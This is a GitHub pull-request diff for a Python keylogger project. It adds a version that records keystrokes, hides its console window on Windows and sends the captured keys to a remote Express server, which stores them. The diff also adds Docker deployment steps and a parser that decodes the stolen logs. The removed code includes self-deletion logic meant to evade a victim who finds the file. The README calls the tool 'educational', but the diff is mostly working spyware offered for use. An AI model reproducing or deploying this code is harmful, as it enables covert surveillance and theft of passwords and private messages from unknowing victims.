Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature updates with server #64

Open
wants to merge 11 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
.venv/
197 changes: 171 additions & 26 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,52 +1,197 @@
# Inputs To Mail.
Get Keyboard,Mouse,ScreenShot,Microphone Inputs and Send to your Mail.
Purpose of the project is testing the security of information systems
# Keylogger Project 🎯

## INSTALLATION
## 🌟 Overview

**You don't need to do anything for installation just run the script**
This project captures keyboard, mouse, screenshots, and microphone inputs and sends them to a server or parses the logs for analysis. The keylogger is designed for testing the security of information systems.

![github-small](/images/Adsız.png)
## ✨ Features

## USAGE
- 🎹 Captures keyboard and mouse inputs.
- 📸 Takes screenshots and records audio from the microphone.
- 🌐 Sends data to a specified server.
- 📋 Includes a parser for keylog files to decode raw data into readable text.

•**Create an account on "https://mailtrap.io/" using a temp mail.**
## 📂 Repository

![github-small](https://github.com/aydinnyunus/WifiPassword-Stealer/blob/master/images/dene.png?raw=true)
To start, clone the repository:

```bash
git clone https://github.com/scrollDynasty/Keylogger
cd Keylogger
```

•**Set your own SMTP USERNAME and SMTP PASSWORD on "keylogger.py".**
## 🛠️ Requirements

•**pip install -r requirements.txt**
- Python 3.9
- Node.js (for running the server)
- Docker (for containerized deployment)
- Libraries specified in `requirements.txt`

•**python3 keylogger.py**
## 🐍 Installing Python 3.9 on Linux

•**Every 10 seconds,You Get the Data from the Target Computer**
If Python 3.9 is not installed on your system, follow these steps:

•**If Target finds the Code and Open the File for Want to Learn your MAIL and Password The Program DELETE itself.**
```bash
sudo apt update
sudo apt install -y build-essential zlib1g-dev libffi-dev \
libssl-dev libncurses5-dev libsqlite3-dev libreadline-dev \
libbz2-dev liblzma-dev tk-dev wget

cd /usr/src
sudo wget https://www.python.org/ftp/python/3.9.0/Python-3.9.0.tgz
sudo tar xzf Python-3.9.0.tgz
cd Python-3.9.0
sudo ./configure --enable-optimizations
sudo make altinstall
```

## ANTIVIRUS TEST
Verify the installation:

![github-small](/images/1.png)
```bash
python3.9 --version
```

![github-small](/images/2.png)
## ⚙️ Installation and Setup

However, if you've made some money using my tools or just want to encourage me to continue creating stuff, please consider giving back on
**BTC Wallet : 1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF** my efforts and help it grow by buying me coffee - but only if you're definitely able to! 😊🎉
1. Install required Python dependencies:

---
```bash
pip install -r requirements.txt
```

2. Set up the server:

- Navigate to the `server` folder:
```bash
cd server
```
- Ensure `server.js` is present in this folder.
- Start the server:
```bash
node server.js
```
- Keep the server running to receive data from the keylogger.

3. Configure the keylogger:

- Open `keylogger.py` and set the correct server IP and port:
```python
SERVER_IP = "your.server.ip"
SERVER_PORT = 8080
```

4. Run the keylogger:

```bash
python3.9 keylogger.py
```

## 🐳 Docker Integration

To containerize the project with Docker:

### Create Dockerfile for Keylogger
In the root of the project, create a file named `Dockerfile`:

```Dockerfile
# Keylogger Dockerfile
FROM python:3.9-slim

WORKDIR /app

COPY . .

RUN pip install --no-cache-dir -r requirements.txt

CMD ["python3", "keylogger.py"]
```

### Create Dockerfile for Server
In the `server` folder, create a separate `Dockerfile`:

```Dockerfile
# Server Dockerfile
FROM node:14

WORKDIR /app

COPY . .

RUN npm install

### Contact
CMD ["node", "server.js"]
```

[<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/linkedin.png" title="LinkedIn">](https://linkedin.com/in/yunus-ayd%C4%B1n-b9b01a18a/) [<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/github.png" title="Github">](https://github.com/aydinnyunus/WhatsappBOT) [<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/instagram-new.png" title="Instagram">](https://instagram.com/aydinyunus_/) [<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/twitter-squared.png" title="LinkedIn">](https://twitter.com/aydinnyunuss)
### Build and Run Containers

1. Build the keylogger image:
```bash
docker build -t keylogger .
```

## Another Projects :
2. Run the keylogger container:
```bash
docker run -d --name keylogger-container keylogger
```

•**WHATSAPP BOT** : https://github.com/aydinnyunus/WhatsappBOT
3. Build the server image:
```bash
docker build -t keylogger-server ./server
```

•**MACHINE LEARNING** : https://github.com/aydinnyunus/Machine-Learning
4. Run the server container:
```bash
docker run -d --name server-container -p 8080:8080 keylogger-server
```

## 🧰 Using the Keylog Parser

The parser converts raw keylog data into readable text. Here’s how to use it:

1. Run the parser:
```bash
python3.9 keylogparser.py
```
2. Paste the raw keylog text into the prompt and press Enter twice to decode.
3. The decoded text will be displayed.

## 📌 Notes

- Use this tool responsibly and only on systems you own or have permission to test.
- Data is sent every 60 seconds by default. You can adjust this interval in `keylogger.py` by modifying `SEND_REPORT_EVERY`.

## 🖼️ Antivirus Test

![Antivirus Test](/images/1.png)
![Antivirus Test](/images/2.png)
## 📄 License

This project is licensed under the terms of the [LICENSE](./LICENSE) file.

## 💬 Support and Contact

If you have any issues or questions, feel free to reach out:

- [LinkedIn](https://linkedin.com/in/yunus-ayd%C4%B1n-b9b01a18a/)
- [GitHub](https://github.com/aydinnyunus)
- [Instagram](https://instagram.com/aydinyunus_/)
- [Twitter](https://twitter.com/aydinnyunuss)

### ✨ Update by: scrollDynasty
- [GitHub](https://github.com/scrollDynasty)
- [Instagram](https://www.instagram.com/scroll_privacy/)

## ☕ Donate

Support the development of this project:

- **BTC Wallet:** `1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF`

## ⚠️ Disclaimer

This project is for educational purposes only. The author is not responsible for any misuse of this tool.

---

•**FACE RECOGNITION SECURITY** : https://github.com/aydinnyunus/FaceRecognitionSecurity
# 🚀 **Version: 1.0.3** 🚀

Binary file removed images/Adsız.png
Binary file not shown.
212 changes: 71 additions & 141 deletions keylogger.py
Original file line number Diff line number Diff line change
@@ -1,145 +1,75 @@
try:
import logging
import os
import platform
import smtplib
import socket
import threading
import wave
import pyscreenshot
import sounddevice as sd
from pynput import keyboard
from pynput.keyboard import Listener
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import glob
except ModuleNotFoundError:
from subprocess import call
modules = ["pyscreenshot","sounddevice","pynput"]
call("pip install " + ' '.join(modules), shell=True)


finally:
EMAIL_ADDRESS = "YOUR_USERNAME"
EMAIL_PASSWORD = "YOUR_PASSWORD"
SEND_REPORT_EVERY = 60 # as in seconds
class KeyLogger:
def __init__(self, time_interval, email, password):
self.interval = time_interval
self.log = "KeyLogger Started..."
self.email = email
self.password = password

def appendlog(self, string):
self.log = self.log + string

def on_move(self, x, y):
current_move = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_move)

def on_click(self, x, y):
current_click = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_click)

def on_scroll(self, x, y):
current_scroll = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_scroll)
import logging
import os
import platform
import socket
import threading
import time
import requests
from pynput.keyboard import Listener

# Константы
SERVER_IP = "your_ip_server"
SERVER_PORT = 8080
SEND_REPORT_EVERY = 60 # in seconds
CHECK_SERVER_EVERY = 5 # in seconds

class KeyLogger:
def __init__(self, time_interval, server_ip, server_port):
self.interval = time_interval
self.log = ""
self.server_ip = server_ip
self.server_port = server_port
self.server_available = False

def appendlog(self, string):
self.log += string

def save_data(self, key):
try:
if hasattr(key, 'char') and key.char is not None:
self.appendlog(key.char)
else:
self.appendlog(f"<{key}>")
except AttributeError:
self.appendlog(f"<{key}>")

def save_data(self, key):
def check_server(self):
while not self.server_available:
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = "SPACE"
elif key == key.esc:
current_key = "ESC"
else:
current_key = " " + str(key) + " "

self.appendlog(current_key)

def send_mail(self, email, password, message):
sender = "Private Person <from@example.com>"
receiver = "A Test User <to@example.com>"

m = f"""\
Subject: main Mailtrap
To: {receiver}
From: {sender}
Keylogger by aydinnyunus\n"""

m += message
with smtplib.SMTP("smtp.mailtrap.io", 2525) as server:
server.login(email, password)
server.sendmail(sender, receiver, message)

def report(self):
self.send_mail(self.email, self.password, "\n\n" + self.log)
with socket.create_connection((self.server_ip, self.server_port), timeout=5):
self.server_available = True
except (socket.timeout, ConnectionRefusedError, OSError):
time.sleep(CHECK_SERVER_EVERY)

def send_data_to_server(self, data):
url = f"http://{self.server_ip}:{self.server_port}/"
try:
response = requests.post(url, json={"keyboardData": data})
if response.status_code == 200:
pass # Успешная отправка, ничего не делаем
except Exception:
pass # Ошибки игнорируем, продолжаем работу

def report(self):
if self.server_available:
self.send_data_to_server(self.log)
self.log = ""
timer = threading.Timer(self.interval, self.report)
timer.start()

def system_information(self):
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
plat = platform.processor()
system = platform.system()
machine = platform.machine()
self.appendlog(hostname)
self.appendlog(ip)
self.appendlog(plat)
self.appendlog(system)
self.appendlog(machine)

def microphone(self):
fs = 44100
seconds = SEND_REPORT_EVERY
obj = wave.open('sound.wav', 'w')
obj.setnchannels(1) # mono
obj.setsampwidth(2)
obj.setframerate(fs)
myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
obj.writeframesraw(myrecording)
sd.wait()

self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj)

def screenshot(self):
img = pyscreenshot.grab()
self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img)

def run(self):
keyboard_listener = keyboard.Listener(on_press=self.save_data)
with keyboard_listener:
self.report()
keyboard_listener.join()
with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
mouse_listener.join()
if os.name == "nt":
try:
pwd = os.path.abspath(os.getcwd())
os.system("cd " + pwd)
os.system("TASKKILL /F /IM " + os.path.basename(__file__))
print('File was closed.')
os.system("DEL " + os.path.basename(__file__))
except OSError:
print('File is close.')

else:
try:
pwd = os.path.abspath(os.getcwd())
os.system("cd " + pwd)
os.system('pkill leafpad')
os.system("chattr -i " + os.path.basename(__file__))
print('File was closed.')
os.system("rm -rf" + os.path.basename(__file__))
except OSError:
print('File is close.')

keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
timer = threading.Timer(self.interval, self.report)
timer.start()

def run(self):
self.check_server() # Ожидание запуска сервера
keyboard_listener = Listener(on_press=self.save_data)
with keyboard_listener:
self.report()
keyboard_listener.join()

if __name__ == "__main__":
# Скрытие консоли для Windows
if platform.system() == "Windows":
import ctypes
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

# Запуск KeyLogger
keylogger = KeyLogger(SEND_REPORT_EVERY, SERVER_IP, SERVER_PORT)
keylogger.run()


122 changes: 122 additions & 0 deletions keylogparser.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
def convert_layout(char):
# Complete dictionary mapping Russian keyboard layout to English
layout_map = {
# Upper case (with Shift)
'Й': 'Q', 'Ц': 'W', 'У': 'E', 'К': 'R', 'Е': 'T', 'Н': 'Y', 'Г': 'U',
'Ш': 'I', 'Щ': 'O', 'З': 'P', 'Х': '[', 'Ъ': ']', 'Ф': 'A', 'Ы': 'S',
'В': 'D', 'А': 'F', 'П': 'G', 'Р': 'H', 'О': 'J', 'Л': 'K', 'Д': 'L',
'Ж': ';', 'Э': "'", 'Я': 'Z', 'Ч': 'X', 'С': 'C', 'М': 'V', 'И': 'B',
'Т': 'N', 'Ь': 'M', 'Б': ',', 'Ю': '.', 'Ё': '~',

# Lower case (without Shift)
'й': 'q', 'ц': 'w', 'у': 'e', 'к': 'r', 'е': 't', 'н': 'y', 'г': 'u',
'ш': 'i', 'щ': 'o', 'з': 'p', 'х': '[', 'ъ': ']', 'ф': 'a', 'ы': 's',
'в': 'd', 'а': 'f', 'п': 'g', 'р': 'h', 'о': 'j', 'л': 'k', 'д': 'l',
'ж': ';', 'э': "'", 'я': 'z', 'ч': 'x', 'с': 'c', 'м': 'v', 'и': 'b',
'т': 'n', 'ь': 'm', 'б': ',', 'ю': '.', 'ё': '`',

# Numbers and symbols (upper case)
'!': '!', '@': '@', '№': '#', '$': '$', '%': '%', '^': '^', '&': '&',
'*': '*', '(': '(', ')': ')', '_': '_', '+': '+',

# Numbers and symbols (lower case)
'1': '1', '2': '2', '3': '3', '4': '4', '5': '5', '6': '6', '7': '7',
'8': '8', '9': '9', '0': '0', '-': '-', '=': '=', '\\': '\\', '/': '/',
'.': '.', ',': ',', ' ': ' ',

# Additional symbols
'?': '?', ';': ';', ':': ':', '"': '"', "'": "'", '[': '[', ']': ']',
'{': '{', '}': '}', '<': '<', '>': '>'
}
return layout_map.get(char, char) # Return converted character or original if not in dictionary

def parse_keylog(raw_text):
temp_buffer = [] # Buffer for storing characters
skip_next = False # Flag to skip next character after ctrl

# Split input text into tokens
tokens = []
current_token = ""
in_key = False

# Parse text into tokens
for char in raw_text:
if char == '<':
if current_token:
tokens.append(current_token)
current_token = '<'
in_key = True
elif char == '>' and in_key:
current_token += '>'
tokens.append(current_token)
current_token = ""
in_key = False
else:
current_token += char
if current_token:
tokens.append(current_token)

# Process tokens
i = 0
while i < len(tokens):
token = tokens[i].strip()

# Skip token if skip_next flag is set
if skip_next:
skip_next = False
i += 1
continue

# Handle special keys
if token.startswith('<Key.'):
clean_token = token.strip('<>').lower()

if 'ctrl' in clean_token:
skip_next = True # Skip next character after ctrl
elif 'backspace' in clean_token:
if temp_buffer:
temp_buffer.pop() # Remove last character
elif 'space' in clean_token:
temp_buffer.append(' ')
elif 'enter' in clean_token:
temp_buffer.append('\n')
elif 'shift' in clean_token or 'cmd' in clean_token:
pass # Ignore shift and cmd
else:
# Handle regular characters
if token and not skip_next:
# Convert each character separately
for char in token:
converted_char = convert_layout(char)
temp_buffer.append(converted_char)
i += 1

# Combine final text
parsed_text = ''.join(temp_buffer)
return ' '.join(parsed_text.split())

def main():
try:
print("Enter keyboard log (press Enter twice to finish input):")
lines = []
while True:
line = input()
if not line:
break
lines.append(line)

raw_keylog = '\n'.join(lines)

# Parse the text
result = parse_keylog(raw_keylog)

print("\nDecoded text:")
print(result if result else "[No text received]")

except KeyboardInterrupt:
print("\nProgram interrupted by user")
except Exception as e:
print(f"\nAn error occurred: {e}")

if __name__ == "__main__":
main()
21 changes: 18 additions & 3 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,4 +1,19 @@
pynput==1.7.3
pyscreenshot==0.5.1
sounddevice==0.4.3
certifi==2024.12.14
cffi==1.17.1
charset-normalizer==3.4.1
EasyProcess==1.1
entrypoint2==1.1
evdev==1.7.1
idna==3.10
jeepney==0.8.0
mss==10.0.0
Pillow==9.3.0
pycparser==2.22
pynput==1.7.7
pyscreenshot==3.1
python-xlib==0.33
requests==2.32.3
scapy==2.6.1
six==1.17.0
sounddevice==0.5.1
urllib3==2.3.0
1,019 changes: 1,019 additions & 0 deletions server/package-lock.json

Large diffs are not rendered by default.

25 changes: 25 additions & 0 deletions server/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
{
"name": "my-express-server",
"version": "1.0.0",
"description": "1. To run this code use `git clone https://github.com/davidbombal/express-server-basic.git`\r 2. Run the command `cd/express-server-keylogger-basic`\r 3. Run the command `python3 setup.py`. This will do the basic setup on the Ubuntu server. It will install NodeJS, Node Package Manager (NPM) and also install all the modules required such as the Express web framework, the body-parser middleware used by Express.\r 4. Run the command `node server.js` to start the server on port ***8080***",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node server.js"
},
"author": "David Bombal",
"license": "ISC",
"dependencies": {
"body-parser": "^1.20.0",
"express": "^4.18.1"
},
"repository": {
"type": "git",
"url": "git+https://github.com/davidbombal/express-server-basic.git"
},
"keywords": [],
"bugs": {
"url": "https://github.com/davidbombal/express-server-basic/issues"
},
"homepage": "https://github.com/davidbombal/express-server-basic#readme"
}
43 changes: 43 additions & 0 deletions server/server.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
// We import the fs module so that we can have access to the file system.
const fs = require("fs");
const express = require("express");
const bodyParser = require("body-parser");

// Create the express app.
const app = express();

/* app should use bodyParser. For this example we'll use json. bodyParser allows you to
access the body of your request.
*/
app.use(bodyParser.json({extended: true}));

// We assign the port number 8080.
const port = 8080;

// When a GET request is made to the "/" resource we return basic HTML.
app.get("/", (req, res) => {
/* The GET request shows the data that's logged in the keyboard_capture.txt file.
If the file keyboard_capture.txt has not yet been created, the try catch statement will
throw an exception and log to the homepage that nothing's been logged yet.
*/
try {
const kl_file = fs.readFileSync("./keyboard_capture.txt", {encoding:'utf8', flag:'r'});
// We send the txt file data to the server. We replace the "\n" with <br>
res.send(`<h1>Logged data</h1><p>${kl_file.replace("\n", "<br>")}</p>`);
} catch {
res.send("<h1>Nothing logged yet.</h1>");
}
});


app.post("/", (req, res) => {
// For demo purposes we log the keyboardData sent as part of the body of the POST request to the server.
console.log(req.body.keyboardData);
// Will now write the keyboard capture to a text file.
fs.writeFileSync("keyboard_capture.txt", req.body.keyboardData);
res.send("Successfully set the data");
});
// We can see that the app is listening on which port.
app.listen(port, () => {
console.log(`App is listening on port ${port}`);
});
9 changes: 9 additions & 0 deletions server/setup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
import subprocess

# We load the newline seperated commands from the commands file.
with open("commands.txt", "r") as fh:
# We use the readlines() method to get a list of all the lines in the file.
cmds = fh.readlines()
for item in cmds:
# We run each command using the subprocess.run() function in Python.
subprocess.run(item.split(" "))